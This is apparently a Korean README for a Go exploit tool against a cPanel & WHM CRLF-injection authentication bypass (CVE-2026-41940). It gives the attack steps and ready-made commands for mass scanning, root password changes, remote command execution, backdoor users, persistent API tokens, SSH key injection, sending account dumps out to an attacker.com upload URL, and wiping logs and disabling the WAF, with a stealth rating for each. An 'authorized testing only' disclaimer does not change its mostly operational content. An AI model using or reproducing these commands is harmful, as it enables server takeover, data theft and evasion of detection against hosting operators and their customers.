
# CVE-2026-41940 익스플로잇 PoC cPanel & WHM의 CRLF 주입을 통한 인증 우회 취약점에 대한 익스플로잇 PoC입니다. 대량 스캐닝, 사후 익스플로잇 작업, 그리고 승인된 테스트를 위한 대화형 셸을 포함합니다.
제작자: Ishan Oshada | GitHub
⚠️ 승인된 보안 테스트 전용입니다. 무단 사용은 불법입니다.


CVE-2026-41940은 cPanel & WHM(버전 < 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5)의 CRLF 인젝션 취약점입니다.
saveSession() 함수는 filter_sessiondata()를 적용한 후에 세션 데이터를 작성하지만, 필터가 너무 늦게 적용됩니다. Authorization: Basic 헤더 내에 CRLF(\r\n) 문자를 주입함으로써, 공격자는 임의의 키-값 쌍(예: hasroot=1, tfa_verified=1, user=root)으로 디스크의 세션 파일을 오염시킬 수 있습니다.
이후 오염된 세션이 로드되면, cPanel/WHM은 비밀번호 없이 전체 루트 액세스를 부여합니다.
| 단계 | 작업 | 설명 |
|---|---|---|
| 1 | POST /login/?login_only=1 | 잘못된 자격 증명으로 사전 인증 세션 쿠키 요청 |
| 2 | GET / + CRLF Authorization 헤더 | hasroot=1, user=root 등으로 세션 파일 오염 |
| 3 | GET /scripts2/listaccts | 세션 캐시가 오염된 파일을 다시 로드하도록 강제(전파) |
| 4 | GET /cpsess<TOKEN>/json-api/version | 루트 액세스 확인 – 성공 = 200 + 버전 데이터 |
--verbose) – 전체 HTTP 요청/응답 표시git clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC
go build -o cpanel_sniper.exe main.go
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
go run main.go -u https://target.com:2087
소스에서 빌드하는 대신, 저장소에서 최신 안정 실행 파일을 직접 다운로드할 수 있습니다. 이 파일들은 모든 업데이트마다 자동으로 생성됩니다:
| 플랫폼 | 위치 |
|---|---|
| Windows (x64) | /bin/windows_x64/cpanel_sniper.exe |
| Linux (x64) | /bin/linux_x64/cpanel_sniper |
| Linux (ARM64) | /bin/linux_arm64/cpanel_sniper |
| macOS (Intel) | /bin/mac_intel/cpanel_sniper |
| macOS (M1/M2/M3) | /bin/mac_m1_m2/cpanel_sniper |
참고: Linux 또는 macOS를 사용하는 경우, 다운로드 후 실행 권한을 부여해야 합니다:
# 기본 스캔
go run main.go -u https://target.com:2087
# 모든 cPanel 계정 나열
go run main.go -u https://target.com:2087 -action list
# 대화형 WHM 셸
go run main.go -u https://target.com:2087 -action shell
# urls.txt로 대량 스캔
go run main.go -l urls.txt -t 20 -o results.json
| # | 용도 | 명령어 |
|---|---|---|
| 1 | 기본 단일 대상 스캔 | go run main.go -u https://target.com:2087 |
| 2 | 모든 cPanel 계정 나열 | go run main.go -u https://target.com:2087 -action list |
| 3 | 루트 비밀번호 변경 | go run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006" |
| 4 | 시스템 명령 실행 | go run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami" |
| 5 | 서버 정보 확인 | go run main.go -u https://target.com:2087 -action info |
| 6 | 백도어 사용자 생성 | go run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006" |
| 7 | API 토큰 생성 (은밀) | go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken |
| 8 | SSH 키 주입 | go run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..." |
| 9 | 계정 덤프 및 유출 | go run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload |
| 10 | 로그 삭제 및 흔적 제거 | go run main.go -u https://target.com:2087 -action wipe |
| 11 | 대화형 WHM 셸 | go run main.go -u https://target.com:2087 -action shell |
| 12 | 파일에서 대량 스캔 | go run main.go -l urls.txt -t 20 -o results.json |
| 13 | 결과를 JSON으로 저장 | go run main.go -u https://target.com:2087 -o scan_results.json |
| 14 | 상세 디버깅 활성화 | go run main.go -u https://target.com:2087 --verbose |
| 15 | 다른 도구에서 파이프 | cat urls.txt | go run main.go -t 20 |
| 16 | 타임아웃 증가 | go run main.go -u https://target.com:2087 -timeout 30 |
| 작업 | 플래그 | 설명 | 은밀성 수준 |
|---|---|---|---|
list | -action list | 모든 cPanel 계정 나열 | 낮음 |
passwd | -action passwd -passwd NEWPASS | 루트 비밀번호 변경 (시끄러움) | 높음 (감지 가능) |
cmd | -action cmd -cmd "id" | OS 명령 실행 | 중간 |
info | -action info | 호스트명, 부하, 버전 표시 | 낮음 |
adduser | -action adduser -new-user U -new-domain D | 백도어 cPanel 사용자 생성 | 중간 |
apitoken | -action apitoken [-tokenname NAME] | 영구 API 토큰 생성 | 매우 낮음 |
sshkey | -action sshkey -sshkey "ssh-rsa..." | 루트에 SSH 공개 키 주입 | 매우 낮음 |
dumpacct | -action dumpacct -dumpuser USER -exfil URL | 계정 백업 및 유출 | 중간 |
wipe | -action wipe | WAF 비활성화, 로그 삭제, 기록 삭제 | 흔적 제거 |
shell | -action shell | 대화형 WHM 셸 | 낮음 |
셸(-action shell)에 진입한 후 다음 명령어를 사용하세요:
| 명령어 | 설명 | 예시 |
|---|---|---|
accounts | 모든 cPanel 계정 나열 | accounts |
passwd <pass> | 루트 비밀번호 변경 | passwd MyNewPass123!2006 |
exec <command> | 시스템 명령 실행 | exec "cat /etc/passwd" |
info | 서버 정보 표시 | info |
version | cPanel 버전 표시 | version |
help | 사용 가능한 명령어 표시 | help |
exit | 셸 종료 | exit |
저장소에는 대량 스캔을 위한 1000개의 예제 대상이 포함된 urls.txt가 있습니다.
https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...
# 기본 대량 스캔 (10개 스레드)
go run main.go -l urls.txt
# 빠른 대량 스캔 (50개 스레드, 결과 저장)
go run main.go -l urls.txt -t 50 -o results.json
# 사후 공격 작업이 포함된 대량 스캔
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json
# 상세 출력이 포함된 대량 스캔
go run main.go -l urls.txt -t 10 --verbose
# 증가된 타임아웃으로 대량 스캔 (느린 네트워크)
go run main.go -l urls.txt -t 30 -timeout 30